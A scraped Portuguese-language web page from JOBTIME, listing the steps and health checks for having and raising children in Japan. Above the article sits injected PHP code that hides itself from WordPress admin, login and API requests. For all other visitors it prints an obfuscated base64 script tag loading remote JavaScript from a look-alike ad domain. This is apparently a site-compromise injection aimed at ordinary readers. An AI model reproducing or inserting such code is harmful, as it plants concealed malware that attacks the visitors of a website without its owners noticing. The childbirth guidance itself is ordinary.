//ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?> Veja como ter filhos no Japão - JOBTIME

Veja como ter filhos no Japão

Para que a mãe possa ter uma gestão tranquila e sem sobressaltos, várias entidades dão suporte para a gravidez de estrangeiros

Ter filhos em um país estrangeiro traz para a gestante uma série de inseguranças, principalmente por causa do idioma e da diferença cultural. Uma série de procedimentos são necessários para a gestação, parto, criação dos filhos no país. Para que você possa entender, criamos um passo a passo simplificado depois de comprovada a gravidez.

  1. Consulte um médico, de preferência um ginecologista obstetra ( sanfujinka, 産婦人科医)
  2. O hospital ou clínica onde houve a consulta, irá lhe entregar uma Notificação de Gravidez
  3. Com a Notificação, procure a secretaria de saúde de sua prefeitura e entregue a Notificação para obter a Caderneta de Saúde da Mãe e da criança.(Boshi Kenko techo/母子健康手帳)
  4. Fazer sempre que necessário os exames e check-ups de saúde para gestantes (Ninpuu Kenshin/妊婦健診)
  5. Dar entrada na documentação para receber o subsídio-maternidade (Shussan’ikujiichijikin/出産育児一時金)
  6. Participar dos cursos de treinamento aos pais (Haha (ryō) oya gakkyū/母(両)親学級)
  7. Visita domiciliar à grávida 妊婦訪問
  8.  Internação/Parto 入院・分娩
  9. Certidão de Registro de Nascimento/ Requerimento do Auxílio Infantil出生届・児童手当申請等
  10.  Atividades de cuidado no pós-parto/Atividades de apoio pré e pós-parto産後ケア事業産前・産後サポート事業
  11. Procedimentos na embaixada e na imigração大使館・入国管理局での手続き
  12. Visita domiciliar ao recém-nascido新生児訪問
  13. Exame Médico da Criança de Primeiro Mês 1か月健診
  14. Visita a todos os domicílios com bebê em amamentação乳児家庭全戸訪問
  15.  Vacinação preventiva aos 2 meses 2か月予防接種
  16. Exame Médico da Criança de 3 a 5 meses 3~5か月児健診
  17. Aulas sobre alimentação (comida sólida)離乳食教室りにゅうしょくきょうしつ
  18. Check-up médico da fase final do bebê em amamentação乳児後期健診

UM ANO

  1. Exame Médico da Criança de 1 ano e 6 meses 1歳6か月児健診
  2. Check-up de saúde dentária de 2 anos 2歳児歯科健診
  3.  Exame Médico da Criança de 3 anos 3歳児健診
  4. Entrada na creche/jardim de infância保育園・幼稚園入園
  5. Exame Médico da Criança de 5 anos 5歳児健診
  6. Check-up de saúde antes da entrada na escola就学前健診
  7. Entrada no Ensino Fundamental小学校入学

Fonte: Ministério da Saúde, Trabalho e Bem-estar do Japão

  • Share this post